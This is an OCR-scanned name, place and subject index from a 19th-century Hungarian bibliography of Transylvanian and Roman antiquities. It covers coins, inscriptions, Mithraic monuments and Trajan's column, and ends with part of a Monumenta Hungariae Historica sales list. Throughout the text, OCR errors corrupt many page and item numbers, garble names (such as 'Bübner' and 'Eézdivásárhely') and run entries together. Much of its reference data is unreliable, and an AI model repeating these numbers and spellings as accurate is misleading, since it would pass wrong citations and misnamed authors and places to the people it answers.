Hintz 145.
Hirschfeld 35.
Hodor 35.
Hoffinger 36.
Hoi'finger, 1. Grosz-Hoffinger.
Hohenhausen 36. 162.
Hcíke 36.
Holczmány J Ki.
Hollósy 36.
Holzmengen, 1. Holezmány.
Hopf 1 15.
Horvát 36.
Hosszúmező 1 J 6.
Hosszútelke 116.
Bübner 36.
Név- és helymutató.
179
Bugo 36. 51 (-158 .
Bunfalvy János 36.
Hunfalvy Pál 37. 145—146. 17 i I 12)
1 t5(33). 146 1 14). 149(68). 150(76
153 (96).
Bnnyad, 1. Bánffy-Hunyad, Vajda-
Hunyad.
Bunyadmegye I Mi.
Huschke '■'>'*.
Huszti M. 162— Mi:;,
lka-vár MG.
Ilié 37.
Ilosva, 1. Alsó-Ilosv;i.
Inscriptio G-raeca 163 (32).
Inscriptiones Sárdienses 169— 17U
74).
Ipolyi 37 — 38.
Iratos, 1. Nagy-Iratos.
Ittebe 11(1.
Ivánfy :Js.
Jakab 38. <i"> (551 |.
Tank 116.
Jankovich 38.
Janz'a 38—39.
Jelenik, 1. Csetneki.
Jenő, 1. Borosjenó'.
Jerney 39.
Jeszenszky -V-K
■lezvin 117.
Jordanis 39.
Jósa György 163.
íósa Mihály 39; és 1. Tóth Mihály.
Jung 146. I 51 (5).
K. 37 (331).
Kajanel 1 I 7.
Kalanfileszká 1 1 7.
Kállav 39—40.
Kandler tO.
Kanitz ín. I ír,.
Kantemir I Mi I í 7. 163 16-t.
Kapriora I I 7.
Kaprontzay Mii.
Karácsonfalva 1 1 7.
Karakai I I 7.
Earánsehes 1 1 7.
Karány, 1. Mercyfalva.
Earapancsa ÍO.
Karlsburg, 1. Gyulafehérvár.
Ka-tenholz 1 17.
Kaszaper, 1. Tarhos.
Eatancsich ÍO.
Katscher :!7 (331).
Kazinczy 11.
Kecskekű vár 117.
Keller 41.
Kellennann í I .
Kemény 41—42. 164—165. 15 W7
149 (70).
Kenderesy t2.
Kenner 1:2. 6 (35). 136 (17).
Kereki 117—118
Kersetz 1 18.
Kéve 118.
Eézdivásárhely 1 1 8.
Kiepert H. t2.
Kiepert Ií. í-2.
Kis-Becskerek 1 1 8.
Kis-Pereg 118.
Kis-Srlyk 118.
Kistorony 1 1 8.
Kisoda 1 I S.
Kiss Bálint Í-J.
Kiss Ferencz í_ 43.
Kiss Mihály 13.
_
Isi)
Név- és helymutató.
Klausenburg, 1. Kolozsvár.
Klem E. 13. 11 (196).
Klem S. 117. 165.
Kleinschelken, 1. Kis-Selyk.
Knabl í:;.
Kuauz 13. 16 (413).
Koch 13.
Kőfarka 118.
Kogalnitchan 1 í 7.
K<»11. 13.
Kolczvár, 1. Maloiavíz.
Kölesén 13. 78 (664).
Kolloutai 13. 79 (673).
Kolozsvár 1 18—1 19.
Kolozsvár vidéke 1 1 9.
Kopitar 117.
Koppon í'-'< \\.
Koprzira, 1. Xesselfeldi Koprzira.
Koronka 165.
Kovács Ferencz 44.
Kovács István 44. 44 (395). 165.
Kú'várv í\ 45.
Közép- Apsa 1 19.
Krassómegye 119.
Ki-aszna-Mihályfalva 119.
Krones iö.
Kruse 15.
Kubin, 1. Kéve.
Kúdu 110.
Kundmann 15.
Kürthy íö.
Kurz 15- 16. 147. 165—166. 16(412).
78 (662). 151 (83). 153 (103). 101-
39). 167 (63).
Kuzsir 1 1 9.
Li íjard 16.
Lánvi 16.
Lapides Romano-hung. 166(54 .
Laurianu 16 1-7. 147.
Lazius Í7.
Leake 147.
Lebel 166.
Lebrecht 47.
Leboczkv András 17.
Lelioczky Tivadar 17.
Lenhossék 17.
Lénk 18.
Lészai 166.
Letavay 48.
Leunclavius 18.
Liget HU.
Linas 18.
Lind 48. 1 Oí (30).
Lindenbrogius 48.
Lindenschmit 48.
Lippa 119.
Literáti, 1. Nemes Sámuel.
Losi 18.
Lübker 48— 49.
Luczenbacher, 1. Erdy.
Lukács Béla 19.
Lukács János U>7.
Maczedónia 1 19.
Maft'ei 19. 65(552).
Maginus 49. 71 (606).
Mágocs, 1. Tarhos.
Magyar-Nádas 1 19.
Magyar-Peterd I 19.
Majdan. 1. < >-Béba.
Major I 18.
Malomvíz 120.
Maniu L48.
Maimért 19.
Máramarosmegye 1 "20.
Név- és helymutató.
181
Máramaros-Sziget, 1. Bosszúmező.
Margitay 19. 7:. (640).
Marienburg A. 19.
Marienburg Fr. I i-8.
Marienburg L. J. i-9 50.
Marini .">().
Marmont 50.
Marosnémeti 120.
Marosporto, 1. Gyulafehérvár.
Marosportus, 1. Gyulafehérvár.
Marosszék 120.
Marosvásárhely, 1. Bánffy-Hunyad.
Marquardt 50. 9 (65).
Marsili 5( >.
Martorellius 50.
Massmann 51.
Matz 51.
Maurer Chr. Fr. 51.
Maurer Fr. ."> I .
Medgyesszék 1 1'< >.
Mehádia 120.
Mehburg, 1. Benne.
Menke 51. 84 (724).
Mercyfalva 120.
Mestorf 51.
Mező-Bánd 120.
Mező-Berény 120.
Mihályfalva 120.
Mihályfalva, 1. Kraszna-Mihályfalva.
Mikháza 120.
Miklosich 148.
Miksa :. 1 — 52. I is.
Miletz 52.
Miller 52. ::i (268).
Mindszenthy 52 — 53.
Miskolczy 53.
Möckesch 53.
Mócs 120.
Mogyoróssy 53. 135 (9 10).
Mojgrád Hm 121.
Moldova, 1. I Íj-Moldova.
Moldovanu 1 18. I i9 (71).
Moller :»::.
Mommsen 53 55.
Montelius 55.
Monumenta lapidea coloniarura R
manarum 1 67 (6 1 1.
Morcelli öli.
Moreili 56.28 (252).
Muchar ~><i.
Mühlbach, 1. Szászsebes.
Mühlenbach, 1. Szászsebes.
Müllenhoff 56. 54 (489).
Müller Fr. 56 57.
Müler J. 57. 14(110).
Müller J. J. 146(43).
Muncsel 121.
Műnk ."i7.
Muratori .*)7.
Murgu 1 is 149,
Mussafia I í-9.
Nádas. 1. Magyar-Nádas.
Nagy László 58.
Nagy-Apold 121.
Nagy-Becskerek 121.
Nagy-Boldogasszony, 1. Csík->sauryl»ol-
dogasszony.
Nagy-EkemezŐ 121.
Nagyenyed 121.
Nagyfalu Szilágymegyében 121.
Nagyfalu Torontálmegyében, I. Perjá-
mos.
Nagy-Gáj, 1. Detta.
Nagy-Iratos 121.
182
Név- és helymutató.
Nagy-Kereki, 1. Kei-oki.
Nagyszeben 121.
Nándor L21.
Nándor-Válya 121.
Neigebaur 58—59. 167—168. 33
(298). 34 (302. 304). 58 (533). 160
(18). 167 (63).
Nemes 59.
Nemes Sámuel, Literáti 17:! (96).
Némethy József 168.
Németi, 1. Marosnémeti.
Neppendorf, 1. Kistorony.
Nereznyicze, 1. Hosszúmező.
Nesselfeldi Koprzira 168.
Neugeboren C. 59.
Neugeboren J. L. 59.
Neumann Fr. ."">!).
Neumann W. 59.
Nyíres, 1. Szásznyíres.
O-Arad 122.
Ö-Béba 122.
Odobescu 60.
Ojtoz 122.
( )lábok, 1. Románok.
Olahus 60.
Olasztelek 122.
Oltszem 122.
Opitius 60. 80 (689). 87 (750). 90
(778).
ürbaiszék, 1. Czófalva.
Orbán 60 — 65.
Orczyfalva, 1. Vinga.
Orelli 65—66.
Ormay 66.
Ormós 66.
Orsova 122.
' (rteliua 66.
Ortbmayr, 1. Ortvay.
Ortvay 66—68. 26—27 (240). 35 1 31 5).
54 55 (495). 69— 70 (594).
Osdola 122.
Osvátb 68.
Ötvös 68. Kis.
Paget 69.
Pagi 69.
Palánka 123.
Panvinius 69.
Papiu Ilarianu 149. 158 (9).
Papp Gábriel 69.
Papp Márton 69.
Parácz 123.
Pataki 69.
Pauler 150 (77).
Paulis 123.
Pauly 69.
Paur 69.
Pech 69.
Péchi 69.
Pek Ki*.
Pékla, 1. Puszta-Példa.
Pereg, 1. Kis-Pereg.
Perez 138 (25), 1. még: Tárgymutató,
Magángyűjtemények.
Perjámos 123.
Pesty 0!}— 70. 30 (262).
Peterd, 1. Magyar-Peterd.
Péterfalva 123.
Petermann 70.
Petersdorf 123.
Petrescu 1 í-!>.
Petriceicu, 1. Hasdeu.
Petrósa 1*}.
Petrosány 123.
Petrozsenv 123.
Név- és helymutató.
183
Peutinger 70.
Philippi 70.
Phlepa 1 19.
Piranesi 7(t.
Platzmann 70. 32 (280).
Poinsignon 70.
Pold, 1. Grosspold.
Pons vetus 123.
Popé' a 149.
Popu Gavrielu 1 19.
Popu Gavriel, seu Laslo 71 1.
Portus, 1. Gyulafehérvár.
Porzsolt 7i >.
Pozsezsena, 1. Szerb-Pozsez>ena.
Pray 70.
Preyer 7 1 .
Probstdorf, 1. Gross-Probstdorf.
Ptolemaeus 7 1 .
Pulszky 71. 137 (24), 1. még: Tárgy
mutató. Magángyűjtemények.
Puszta-Fékla 124.
Putnoki 168.
Rabé, 1. (')-Béba.
Radisics 7 1 .
Rákos, 1. Csík-Rákos.
Ravennas 7^.
Reichard 72.
Reimarus 72.
Reinbold 10X— 10'.). 17-2 (95 .
Reinesius 7-2.
Reissenberger 7-J 7:!.
Rékas 124.
Reméle l'.\.
Renier 1'A — 74.
Reussinarkt 124.
RewliersdorrY 7.'!.
Rbein 71. 9 (66).
Robortellus 71.
Roesler 71. 150. 37 (330 .
Románok 111 — 1 51 !.
Rómer 71 76. 1 1 i 101 ). 1>."> . .V, I
133(1).
Romlott 124.
Rónaszék 124.
Rosa 150.
Rosenberg 7(i. 60 (547).
Rossi G. B. 76.
Rossi G. G. 70. K)(7D).
Rossi M. G. 76.
Rozsály 12i.
Rückert 70.
Rupertus 70. 7-J (618).
Rutilius 7ii.
S. 32 (282).
Sacken 77. 136—137 (17—19).
Salamon 77.
Salinae, 1. Torda és 124.
Salzburg, 1. Vízakna.
Sándor 77. 150.
Saru 124.
Sáremberke 124.
Sargó 124.
Sárközújlak 124.
Sarmizegetusa, 1. Várhely.
Sáromberke 124.
Saxius 77.
Sch. 12. (98 .
Scbafarik 7S.
Schafer 77.
Scharemberg 124.
Schássburg, 1. Segesvár.
Scheini 78.
Schendo 78. 13 (385).
Scheyb 78.
184
Név- és helymutató.
Schlauf 78.
Schmeitzel I 71 ).
Schmidl 78.
Schmidt Valdemar 137 (22).
Schmidt Wühelm 78- 79. 1 50 1 5 1 .
Scboenvisner 79.
Schoti 151.
Schuermans 79 -80.
Schulcz 80.
Schüler 80. 26 (234).
Srbulerns 80 -81 (691).
Schuller 80. 151. 1 is (63).
Scburzfleisch SO— 81.
Sclmster 81.
Schwanz 81.
Schwartz 81. 15 (121).
Schwarzius 81. 8 (55).
Schwarzott 81.
Schwicker 81— 82. 151. II (88). 26—
27 (23!)— 210). 37 (331). s7 (716).
Sebesváralja 121.
Secchi 82.
Segesvár 124 — 125.
Segesvárszék 125.
Seiburg, 1. Siberk.
Seidl 82—83.
Seivert 83.
Srstllli 83.
Seulescu 83. 1 51 — 1 52.
Severini 8 1 .
Siaguna 152.
Siberk 125.
Sickler 84.
Silvestre 84. 15 (122).
Simó 170.
Smcai 152. I íl { 17).
Sinkai, 1. Síncai.
Slatina 125.
Söllner 84.
Somlyó, 1. Szilágy-Somlyó.
Sommersberg 159 (II).
Soterius 170—171. 173(100).
Sóvárad 1 25.
Spaagenberg 84.
Spanhemius 84.
Splényi 171 .
Sponius 84.
Sprurier 84.
Stadler 84.
Steinbüchel 85.
Steinbnrg 85,
Stierochsel, 1. Taurinus.
Storno 85.
Stritter 85.
Sulzer 85.
Surowiecki 85. 7s (661).
Symeoni 85.
Szabó Benő 152.
Szabó György 152.
Szabó Károly 80.91 (823). 1 33—134 (5).
Szacsva 1 25.
Szakáiháza 1 25.
Szakos, 1. Török-Szákos.
Szamosközi 86.
Szamosújvár 125.
Szaraniewicz 86.
Szarvas I 25.
Szarvaszó 1 25.
Szásznyíres 1 25.
Szászsebes 125.
Szász-Ugra 125.
Szathmári Mihály 171 — I 72.
Szatlimári Pap Károly 86.
Szathmáry Károly, P. — 86.
Név- és helymut;it>'i
18",
Bzatmármegye 1 25.
Szeben, 1. Nagyszeben.
Szecsel, 1. Balázsfalva.
Székely Sándor 86.
Székelyudvarhely 125- I2<i.
Szókudvar 126.
Szelestye, 1. FelsŐ-Szelestye.
Szelistye 120.
Szenterzsébet 1 26.
Szentiványi 86.
Szentkláray 86 87.
Szerb-Pozsezsena, I 26.
Szerdahely 126.
Szereday 87.
Sziget, 1. Máramaros-Sziget.
Szikmczey 104 (29).
Szilágyi Mihály 37 (334).
Szilágyi Sándor 87.
Szilágysomlyó 126.
Szii id 126.
Szlatina 1 26.
Szombathy 87.
Szörényrnegye 126.
Szörény torony 1 26 — 127.
Tarhos 127.
Taurinus 87— 88.
Téglás 88.
Temesmegye 127.
Temesvár 127.
Tepej szoros 127.
Tessedik 88.
Teutsch ss.
Thalson 88—89. 152. 172- 17:!.
Thierry 89.
Thoroczkay 89. 25 (224-).
Thorwáchter 89. 85 (731).
Thunmann 89. 152.
Tibód 127.
Timon 89.
Tisza 127.
Titel 127.
Tittmann 90.
Tocilescu 90.
Tomaschek 90. 152. 150(77).
Tomasinus 90.
Toppeltinus 90.
Torda 127.
Tordamegye 127.
Tordos 128.
Torma József 90.
Torma Károly 90- 92. 77 (651).
Torma Zsófia 92. 27 (245). 88 (758)
Török Antal 92.
Török-Becse 128.
Török-Szakos 128.
Torontálmegye 1 28.
Torony, 1. Kistorony.
Tóth Márton 92.
Tóth Mihály 92.
Transsilvaniae descriptio
98
Tröstev 92.
Trsztyánszky 92. 12 (97).
Türé 128.
Turnu és Turnu-Sevovin, 1. Szörény-
torony.
Udvarhely, 1. Székelyudvarhely.
Udvarhelyszék 1 28.
Üj-Becse 128.
I Pjlak, 1. Sárközújlak.
Cj-Moldova 128.
Oj-Paulis 128.
Ukert 92.
Ürmös 128.
üttech 92.
186
Név- és helymutató.
Vaillant J. A. 1 53.
Vaillant J. Foy- 93.
Vajda-Hunyad 128.
Vajda-Szentivány I 28.
Valachen. Erveis d. d. Val. n. röm.
Abk. sind 143 (25).
Valachi. Animadverss. in őrig. Vala-
chorum III (2); Discussio descript.
Valachor. 143 (21).
Valerianus 93.
Válya, 1. Nándor- Válya.
Váradi 93. 138., 1. még : Tárgymutató,
Magángyűjtemények.
Várfalva 129.
Varga 93.
Várhely 129.
Vásárhely, 1. Kézdivásárhely, Maros-
vásárhely.
Vass 93. 159 (10).
Vécs 129.
Veczel 129.
Verancsics 93 — 94. I 53.
Verespatak 1 -2'.).
Veszély 94.
Vincz, 1. Alvincz.
Vinga l-_)(.».
Vízakna 129.
Vladerianu 94.
Vorburg 94.
Voss 94.
Wachsrauth 94.
Wagner 95.
Wal 95.
Wattenbach 95.
(286). Ki (412). 51
Weidenfelder 95. 173.
Weisbach 153.
Wellmann 95.
Wenrich 1 73.
Wenzel 95. 32
(458).
Werner 96.
"Wesseling 96.
Westen 96.
Weszprémi 96. 173.
Wieseler 96. 58 (533).
Wietersheim !»<;.
Wilmanns 96.
Windiseh !>7.
WinMer 1 73.
Wolff 97.
Zágon 129.
Zalatna 130.
Zám 130.
Zamosins, 1. Szamosközi.
Zangemeister 97. 54 — 55 (49í
Zeiller 97.
Zell 97.
Zerich 07.
Zeusa í»7.
Zeyk 1)7. I
Zumpt 98.
Zsadány 130.
Zsenna I 3( ».
Zsibert, 1. Siberk
Zsidovin 130.
Zsil 130.
Zsobok 130.
Zsoszán 130.
152 (98).
T.\ K(i Y M ÜTATO.
(INDEX RERUM)
Érmek (Numi). /. rész: 2. r>. \:\. \ /.
19. 23. 34. 16. 7'.). 93 -94. 117. 130
—131. 170—172.205.210.238 239.
242. 248-- 249. 273. 279. 286. 336
337. 343. 368. 373 374. 378. 384.
104. 123. ír,. 528. 532. 537. 539.
541. 553. 572. 574. 578. 633. 656.
678. 703—704. 711. 715. 722. 726.
763. 790. 808. 839. sz. — II. rész:
25—27. sz. — III. rész: 8. 15. 25.
29. 19. 52 54. 6*2—64. 7 1 — 7i2. 76.
82. 85. 91. 97. 99. 102. 113. 116. 123.
125- 126. 133- 134. sz. — IV. rész:
5—12. 17. 25. sz. — FI. rész: 35. H.
15. 57 58. 62—64. 70. 78. 83. 86—
92. sz.
Föld- is helyírat, térképek (Geogi-a-
phica et topographica, tabulae geo-
graphicae). /. rész: 1. i. 6. 21. 38. 41.
90. 97. 121. 135—136. 138. 152
154. 156. 162. 177. 202. 215. 219.
240 24 I. 284. 293 294.319.321—
322. 330—331.362—364.366.375 -
376. 107- 108. 11 1. 415. 117. 143
íí i. 1-55. 161. 176 í 77. 1-89. 507.
584. 534. 551. 556. 561 562. 571.
575.579—581.592 593.595 597.
600 601. 606. 614—616. 623. 629.
632. 646. 652. 655. 657. 66í 605.
677. 685. 691. 696. 718—719. 724.
730. 770. 779. 782. 784—785. 788.
790. 7(.>:2. 805- 806. 816. 825. K28.
830.832.840.847 85Q.sz.- //.
is. 32. II. sz.— ///. rész: 7.27 28.
36. 77. 79. 1 in. [30—131. 136. sz.
Az I . rész majd mindenik száma > Xn-
meri partis V. fere omnes . - 17.
rész: II. 13 14. 16 17. 22 24.
26 31. 39 tO. \1. 1-6—48.50 51.
53 -55. 58—60. 62 64. Íi8. 81
8 1 . sz.
Jupiter Dolichenus. /. rész : 705
7< 16. sz.
Katalógusok (Catalogi). IV. rész: 26
30. sz.
Magángyűjtemények | ( iollectioni
vatae). Evans-féle I. rész : 276.
IV. rész : 138. 1. - Fejérvárj
IV. rész: 23 24. sz. Perez-féle
/ 1'. )■• sz : 25.
Pulszky-féle IV
Váradi-fél< /.
811.8Z.; IV. rész: 138. 1.
188
Tárgymutató.
Mithras-emlékek (Monumenta Mith-
riaca). /. rész: 30. 272. 353. 412.
544. 728. 836. sz. — II. rész : 22. sz.
///. rész: 14. sz.
Muzeumok és közgyűjtemények (Mu-
sea collectionesque publicae). Erdé-
lyi múzeum /. rész : 203.392. 109
110. 587. 7s7. sz. : II. rész : 39. sz. ;
IV. rész : 5 6. sz. — Báró Brucken-
thal-féle T. rész : 539. sz. ; IV. rrsz:
134. 1. d I. — Magyar nemzeti múzeum
/. rész: 154. 268. 570. 57s. 642— 643.
sz. : IV. rész: 7 — 8. sz. — Békésme-
gyei múzeum 7. rész : 263—264. 608.
sz. ; IV. rész: 9 — I'*. sz. — Felsőma-
gyarországi IV. rész : 11. sz. — Bécsi
es. és kir. érem- és régiségtár /. rész :
111. 164 — 465. 467. sz. ; IV. rész:
I 2 — 20. sz. — Prágai cseh országos
IV. rész : 2\. sz. — Londoni British
/. rész: 276. sz. ; IV rész: 137. 1. k).
Kopenhágai dán IV. rész: 22. sz.
- Zürichi 7. rész: 21(>. sz. ; IV. rész :
137. Lm).
( őslakók s a rokon népfajok (Autoch-
thones gentesque iisdem cognatae).
/. rész: 38—40. 60 -62. 64—65. 76.
142. 146.231.233.235.250.253.324.
326. 330- 332. 352. 121, 138. 162.
506- 507. 590. 624. 630- 631. 649.
652- 654. 658. 660—662.668—671.
673—674. 685.712. 716.729—730.
737. 752 — 753. 755. 77:!. 775 781.
805 806.818. 825.827. 844.853. sz.
//. rész : 9- 10. I2.sz.- Az V.rész
majd mindenik száma ■ Numeri partis
I . fere omnes). — VI. rész : 1 9.
II. 16—17. 24.27 31. 12. 46—47.
55. 81— s2. 84. sz.
<>s-, barbár- s népvándorláskori régi-
ségek (Antiquitates aevi praehisto-
rici barbari migrationisque gen-
tium). /. rész: 5. 13. 17. 20. 33. 37.
i í 16. 57 58. 63. 75. 77. 81. 83.
87 ss. 95 96. I 13—114. 123. 140.
145. 149—151. 157— I5N. 166. 174.
178—179. 189. 195. 198. 217. 234.
237—239. 242—243. 245. 248 249.
259. 261—264. 266—267. 274 277,
282- 283. 285. 287. 289—290. 294—
295. 313. 320—321. 336 337.351.
354. 356. 374. :177 -379. 381 383.
387—388. 390. 397—399. 101. 103.
405—406. 124(?). 131—434. 136.
440. 445. 400. 163 165. 167—474.
177—478. 503. 508—510. 514.516.
519—520.523.526.539—540.542—
546. 550—551.557. 559.564. 568. 576
578. 581. 587. 592. 594. 603. 605.
607—612. 620—622. 633—641.645
646.649.651- 652.663.667.675—
676. 680. 686. 692—695.702—704.
726. 7^7 (?). 734. 739. 742- 743.
745 746. 757—759. 763. 793. 798.
800. 804. 811. 813—814. 823. 826.
831. 837. 841. 848. sz. — //. rész:
0— N. 11. 13— 14. 10—17. 20—21..
24. 30. 33. 39. 15 16. sz.— III. 1 -ész :
1—2. 5 6. 9—11. 14. 10—1!). 21-
22. 26. 30. 32—35. 10. 50—51. 57—
60. 65. 70. 73—75. 77—78.80.81 (?).
83—84. 86(?). 92 96. 98. 100—101.
103. 106—109. 115. 117. 122. Ii>(.»—
130. 139(?). 140- 141. sz.- - IV. rész:
Tárgymutató
I |*2. 15. 17. 22. 25 30. sz. VI.
rész: 18 10. m 15. 52. 62 64.
1,7 68. 86 (?). '-'í. bz.
(")s-. barbár-, római- s népvándorlás-
kori határtöltések, sánezok, védvona-
lak, földvárak stb. (Fossae válla ag-
geres limite8 aliaque similia aevi
praehistorici barbari romani migra-
tionisque gentium). /. rész: 293
294, :;2) 322. :;<>(,. 1 T * ► 177.551.
561. 575. 581. 592. 595. 597. 632.
646. 652. 788. 828. vís. sz. TII.
rész : 7. 27. 77. 130. sz.
Őstemetók(Tumuli aevi praehistorici).
/". /•-.<; : 322. 379. 169. 177. 523. 551.
620—621. 686. 694. 734. 763. 823.
sz. - ///• rész : 18. 26 (?). 30. 57. 80.
94—95. 100. 103. sz.
Régészeti repertóriumok, krónikák.
analekták (Repertoria chronica ana-
lecta archaeologica). T. rész: 13. 1/.
\a\. 209. 238 239. 242. 248 249.
275. 336 -337. 374. 578. 633. 703
704. 726. sz.
Római és görög felíratok i Inscriptiones
Romanae Graecae). I.rész: 1.3- í.
6_7. 10— IS. 21—22, 25. 28 30.
32. 35. 12 í-3. 16 17. £9 55. 59.
63. 66- 68. 7:2 — 73. 78. s5 89.
92. 99—109. 111. 116. 1 ls !-<>.
122. 125—129. 132. 134 135. 137.
139. I í-3— 144. 147. 152- 155. 159—
161. 164 165. 167 168. 180. 182
187. 191—192. 197. 200. 208. 212—
216. 224 226. 229- -230. 233 234
236. 238- 239. 242. 244. 247 249
251. 254 258. 265. 268 271. 278
280 281. 286. 291. 293. 296 311.
31 \. 319. 323. 327 328. ■'>'■'•'■'< ■'•'■''■
340 342. 345 349. 355. 357 35S.
360. 362 364. 367. 371. 374. 380.
385 386. 388 389. 391. 104. M)7.
Hl. 114.416.418 120. 1-22. 12!
130. 135. 111. 149. 153 155. 157
159. 179 180. 185 188. l'.'o 502.
504 505.515. 517- 519.521 522.
526. 531. 533 537. 539. 544 545.
548 549. 551 552. 556. 558. 560.
571. 573. 575. 579. 582 585. 599.
604.617 619.625 628.633.642
644. 647. 650. 659. 666. 672. 077.
679. 687 689. 697 699. 703 710.
713—714. 721. 72::. 725 726.732
733. 735— 73H. 741. 717 748. 750.
754. 756. 760. 764- 772. 776 777.
778. (90. 1. Tocilescu). 780. 7*2
790. 792. 794- 796. 799. 809 810.
817. 819- -821. 829 831. 835 -
842. 845 846. 851 852. 855 858.
sz. — II. rész: 2. 28 2:'. 38. 10. 13.
bb. __ HL rész ; 3 L 20.23 25.31.
30 i3. 15. 17. 55 56. 61. 66. 68.
79. 87(?). 90(?). 104 105. I 1 í. 121.
127. 135—138. 142. 1 14 1 15. sz.
/r. rész: 5- -6/(134.1. 3 -.7 8. 12
13. 16—17. 20. sz. VI. rész : 1 2.
1, 6. 11. 13. 15. is 20.22 24.27
31. 33. 39 LO. 13 15. 18 51. 53.
55. 57 60. 62 66. 68 69. 72. 71.
78. 80 86. 93. 95. 97. 99 102. -
Római katonai diplomák (Privil
veteranis data). /. rész : 13.51. 103.
116. 134. 183. 280 281. 297.
301. 308. 310. 149. 599. 628. 721.
190
Tárgymutató.
8Í9.SZ.- //• rész: 28. sz. VI. rész :
71. sz.
Római viaszos-táblák (Tabulae cera-
tae). /. rész: 3. 66. III. 122. 125.
1 1>7 — I ^'.». 132. 159- 161. 182. 184.
200. 328. 333'. :i1 7 — :i'i'.». :::.7. 158—
í :.''. 194. 531. 535. 835 836. sz. -
//. rész : 29. sz.
Római régiségek (Antiquitates Roma-
nae). 1. rész : I . 1, 6— 18. 21 —22. 24—
29.31.36. 16. 52— 54.57. 59.62 65.
67- -69. 72— 75. 78.80—81.84.87—
89. 91—93. 05—99. 112. 118—120.
126. 130. L39. I 15. 147—148. 165.
172. 178. 180. 185—186. 190. 195.
199. 201—202. 204. 206—209. 211.
214- 217.222. 225.233- 234. 2:;s
239. 242. 246. 248. 251. 270. 284.
288—294. 302. 312. 314. 318- 319.
325. 329. 334- 341. 345. 355. 358.
360—361. 365. 370—372. 374. 376.
385 389. 392. 397—399. 101. 107.
ÍM. 124. 128. 138 Ho. 150. 152.
154 155. 166. 170— 471. 473 — 476.
181 is::. 508—509. 51 1—512. 514.
517- 519. 521.525—530.533- 534.
5! í( i- 537. 539. 5 í 1 — 5 15. 55 1 . 55 í —
557. 559—560. 563- 564. 566- 567.
:><l(.i- 570. 57::. 575.578- 580. 583.
588. 593—594. 597. 603.605.613(?).
02::. 633. 635. 651—652. 663- 664.
675—676. 680 681. 687 688. 690.
696. 698- 700. 703- 704. 725. 727—
728. 730. 7:;:, 736. 738. 740. 742-
745. 747 748.751.756.760.764 —
772. 770—777. 82- 784. 787- 788.
790 -791. 797. 802 803. 811. 815.
820 822. 825. 830 834. 836. 838.
842 843. 849 850. 852. 854. sz.-
//.
-_' v
17. 20—21. 24.
28. 31- 33. 35. 38- 39. 15 16. sz.
— ///. rész: 12- 13. 20. 2:!- 21. 28.
31. 36- 15. 17 48. 55—56. 60—61.
66—69. 87- -90. 105. 110— 1 12. 118
- 121. 124. 127- 128. 131—132.
135—136. 142—143. sz. — IV. rész :
1 — 12. 1 1—21. 2:]— 26. 30. sz.— 17.
rész: 3—6. 10—15. 18— 19. 2 J— 32.
36—38. io. H 45. 18—51. 53—61.
63—67. 69—74. 78.80—84.86.93.
95. 97. 99- 102. sz.
Római mozaik (Opus musivum). I.rész:
69. 344. 591. 801. 812. sz.— //. rész:
23. sz. — 17. rész : 74. sz.
Római utak (Viae Romanae). I. rész :
'.io. 177. 284. 551. 664.696. 730. 788.
sz. — 77 rész : 14. sz.
Sphinx (Lit. Nemes Sámuel hamisít-
ványa. Falsifieatum Sarnuelis Lit.
Nemes). /. rész : 82. 181. 350. sz. ■ —
//. rész: '■'>!. sz. -VI. rész : 96. sz.
Történetiek (Historica). 7 rész: II.
is. 50. 59. <;2. 64 — 65. 71. 74. 78. 84.
87—88. '.17. I lo. 115. 121, 136. 141-
142. líd. Ki::. 17::. 175- -17(1. 191-
194. 196. 199. 2 is. 220—22). 22:;.
232—233. 240—241. 243. 246. 252.
2(io. 2si;. :::;i) 332. 334. ::<;'.>. 393
:;íiií. 100. 102. 108. 113. 115. 137—
138. 112. 146- 148. 151. 154 455.
161—462. 184. 513. 516. 524. 538.
547. 563. 565. 569. 585—586. 589.
(102. női, 630- 631. <iis. (152. 658.
663. 673. 682—685. 691. 699. 701,
Tárgymutató.
l!)l
715. 717. 720. 725. 730. 737. 743. Trajanus hídja (Potats Traiani). /. rész
7 19. 752 755. 761- 762. 770. 773 —
775. 781. 785. 805 807. 816. 818.
825. 844. 847. 853. bz. — II. rész:
9 10. 12. I!». 34. 36. sz. — Az V.
rész majd mindenik száma ( Numeri
partin V. fere omnes). — 17. rész :
(i 9. II. 13—14. 16—17. 22 24.
26 31. 33 -34. í2 13. íii 17.
üi—:) i . :.:: :,;.. 6( >. 75—79. 8 1 —84.
18 100. 103. sz.
7. 19. 56.
//. rész
: ;:>s
i9. Í56.
sz.
Trajanus oszlopa (Columna Ti'aiani).
/. rész : 70. 124. 133. 175. Ins. ű-2:',.
117— űűs. 252. 282. Í37.
ti ís. 754. 807. 824. sz.
!)K.
Világtárlatok (Expositiones publicae).
Párizsi ISC7. IV. rész: I _'. sz.
Bécsi lS7:i. IV. rész : '■'< í. sz.
BIBLIOPOLIUM ACADKMI.K BUNG aimc.k
MONUMENTA HUNGÁRIA HISTORICA. PUBLICI IURIS FACIT
SCIENTIARUM ACADEMI.E HUNGARICE COMMISSIO HISTORICA:
Scriptores.
Georgii Sirmiensis Capellani Ludovici II. et Joannis Hungáriáé Regum
Memorabilia sui temporis. 1484 — 1543. E Codice Bibliothecas Cae-
sarefE Viennensis edidit G. Wenzel. Pestini. 1857. Volumen unicum.
— 2fl.
Antonii Verancii Arcliiepiscopi Strigoniensis, Locumtenentis Regil et ad
Portara Ottomanicam legati. Operáét Epistolae. 1538 — 1573. Edide-
runt Ladislaus Szalay et Gustavus Wenzel. Yolumina duodecim. — 26 fl.
Joannis Michaelis Bruti Ungaricarum Reruni libri qui exstant. 1 190 —
1552. Edidit Franciscus Toldy. 1867. Volumina tria. — 7 fl.
Francisci Forgachii Ferdinandi I. Regis Cancellarii, Antistitis Varadinen-
sis, Rerum Hungaricarurn sui temporis Commentarii. 1540—1572.
Edidit Fidelis Majer. Volumen unicum. — 3 fl.
Joannis Decii Barovii Commentariorum de rebus Ungaricis libri qui
exstant. 1592 — 1598. Edidit Franciscus Toldy. Volumen unicum. — 2 fl.
Stephani Szamosközy Rerum Ungaricarum et Transylv. libri qui extant.
1566 — 1603. Edidit Alex. Szilágyi. Volumina tria. — 4 fl.
Diplomataria.
Documenta Hungária? históriám illustrantia e Tabulario Regio Bruxellensi
1441—1652. Edidit Michael Horváth. Volumina quatuor. — 8 fl.
Documenta Hungária' históriám illustrantia e Tabulariia et Bibliothecis
Londini existentibus eruta. Edidit Ernestus Simonyi. Volumen unicum.
— 2 fl.
Codex Diplomaticus Arpadianus Continuatus 890—1301. Edidil Gustavus
Wenzel. Volumina duodecim. — 28 fl.
Codex Epistolaris Petri Pázmány Arcliiepiscopi Strigoniensis. 1605
